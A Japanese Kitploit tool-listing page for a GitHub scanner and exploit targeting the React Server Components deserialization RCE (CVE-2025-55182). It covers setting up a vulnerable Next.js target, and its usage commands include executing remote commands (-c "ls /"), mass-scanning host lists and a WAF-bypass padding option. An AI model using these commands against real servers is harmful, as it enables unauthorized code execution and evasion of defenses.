Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182 — CVE-2025-55182(React Server Components の逆シリアル化によるリモートコード実行の脆弱性) | Kitploit
ツール/GitHubGitHub/xiaolvchen/cve-2025-55182
脆弱性スキャナーペイロード生成エクスプロイトウェブアプリケーション悪用WAFバイパスペネトレーションテスト
GitHubxiaolvchen/cve-2025-55182

CVE-2025-55182

CVE-2025-55182(React Server Components の逆シリアル化によるリモートコード実行の脆弱性)

リポジトリを見る
17ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

影響を受けるバージョン

コンポーネント再現推奨バージョン脆弱性影響バージョン範囲
Node.js>= 20.9.020.9.0 (LTS) 以上
Next.js15.0.015.x, 16.x(App Router)
React Core19.0.0 または 19.2.019.0.0 から 19.2.0
RSC Bundlerreact-server-dom-webpack19.0.0 から 19.2.0

ビルドと起動

  1. 低いバージョンを強制インストール

    root@kitploit:~
    cd cve-2025-55182-target
    npm install --force
    
  2. 依存関係のバージョンを確認

    root@kitploit:~
    npm list react next
    # 出力に [email protected] と [email protected] が表示されることを確認
    

    トップレベルの依存関係リストに [email protected] と [email protected] が表示されていれば、環境は脆弱な状態に固定されています。ここでの警告やエラーコードは無視して構いません。

  3. ビルド:

    root@kitploit:~
    npm run build
    
  4. 実行:

    root@kitploit:~
    npm start
    

    サーバーは http://localhost:3000 で待機します。環境構築が完了しました。脆弱性検証を開始できます。

例

  • 脆弱性検出/スキャン:

    root@kitploit:~
    cd React2shell
    python3 scanner.py -u http://127.0.0.1:3000/
    
  • RCE:

    root@kitploit:~
    python3 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"
    

poc

参考

react2shell-scanner

react2shell-scanner

Next.js アプリケーションにおける React Server Components(RSC)の脆弱性 CVE-2025-55182 および CVE-2025-66478 を検出するコマンドラインツールです。

脆弱性の技術詳細と検出手法の詳しい説明については、ブログ記事をご参照ください:https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478

動作原理

デフォルトでは、スキャナーは特別に細工されたマルチパート POST リクエストを送信します。このリクエストには、決定的な数学演算(41*271 = 11111)を実行するための RCE 検証ペイロードが含まれています。脆弱性のあるホストは、X-Action-Redirect レスポンスヘッダーに /login?a=11111 という形で計算結果を返します。

スキャナーはまずルートパスをテストします。ルートパスに脆弱性がない場合、同一オリジン内のリダイレクト(例:/ から /en/ へのリダイレクト)を追跡し、リダイレクト先をテストします。クロスオリジンのリダイレクトは追跡しません。

セーフチェックモード

--safe-check フラグを使用すると、ターゲット上でコードを実行せずに、サイドチャネルシグナル(500 ステータスコードや特定のエラーサマリーなど)に依存する安全な検出モードが有効になります。RCE を実行したくない場合はこのモードを使用してください。

WAF バイパス

--waf-bypass フラグを使用すると、マルチパートリクエストボディの先頭にランダムなパディングデータが追加されます。これは、リクエストボディの前半部分のみを解析する WAF の検出を回避するのに役立ちます。デフォルトサイズは 128KB で、--waf-bypass-size で設定可能です。WAF バイパスを有効にすると、タイムアウトは自動的に 20 秒に増加します(明示的に設定されていない場合)。

Windows モード

--windows フラグを使用すると、ペイロードが Unix シェル(echo $((41*271)))から PowerShell(powershell -c "41*271")に切り替わり、Windows 上で動作するターゲットに適応します。

環境要件

  • Python 3.9+
  • requests
  • tqdm

インストール

root@kitploit:~
pip install -r requirements.txt

使用方法

単一ホストのスキャン:

root@kitploit:~
python3 scanner.py -u https://example.com

ホストリストのスキャン:

root@kitploit:~
python3 scanner.py -l hosts.txt

マルチスレッドスキャンで結果を保存:

root@kitploit:~
python3 scanner.py -l hosts.txt -t 20 -o results.json

カスタムリクエストヘッダーを使用したスキャン:

root@kitploit:~
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"

セーフサイドチャネル検出を使用:

root@kitploit:~
python3 scanner.py -u https://example.com --safe-check

Windows ターゲットのスキャン:

root@kitploit:~
python3 scanner.py -u https://example.com --windows

WAF バイパスを使用したスキャン:

root@kitploit:~
python3 scanner.py -u https://example.com --waf-bypass

RCE コマンドの実行:

root@kitploit:~
python3 scanner.py -u https://example.com -c "ls /"

オプション説明

root@kitploit:~
-u, --url         チェックする単一の URL
-c, --cmd         実行するコマンド
-l, --list        ホストのリストを含むファイル(1行に1つ)
-t, --threads     同時実行スレッド数(デフォルト:10)
--timeout         リクエストのタイムアウト(秒、デフォルト:10)
-o, --output      結果を保存する出力ファイル(JSON形式)
--all-results     脆弱性のあるホストだけでなく、すべての結果を保存
-k, --insecure    SSL 証明書の検証を無効化
-H, --header      カスタムリクエストヘッダー(複数回使用可)
-v, --verbose     脆弱性のあるホストのレスポンス詳細を表示
-q, --quiet       脆弱性のあるホストのみを出力
--no-color        カラー出力を無効化
--safe-check      RCE PoC ではなくセーフなサイドチャネル検出を使用
--windows         Unix シェルの代わりに Windows PowerShell ペイロードを使用
--waf-bypass      WAF のコンテンツ検出を回避するためにパディングデータを追加
--waf-bypass-size パディングデータのサイズ(KB、デフォルト:128)

謝辞

RCE PoC は当初 @maple3142 によって公開されました。利用可能な PoC を公開してくださったことに深く感謝します。

本ツールは当初、この RCE を安全に検出するために構築されました。この機能は現在も --safe-check セーフチェックモードで利用可能です。

  • Assetnote セキュリティ研究チーム - Adam Kues, Tomais Williamson, Dylan Pindur, Patrik Grobshäuser, Shubham Shah
  • xEHLE_ - RCE 出力をレスポンスヘッダーに反映
  • Nagli

出力

結果は端末に出力されます。-o パラメータを使用すると、脆弱性のあるホストが検証用の完全な HTTP リクエストとレスポンスとともに JSON ファイルに保存されます。

ツールをダウンロード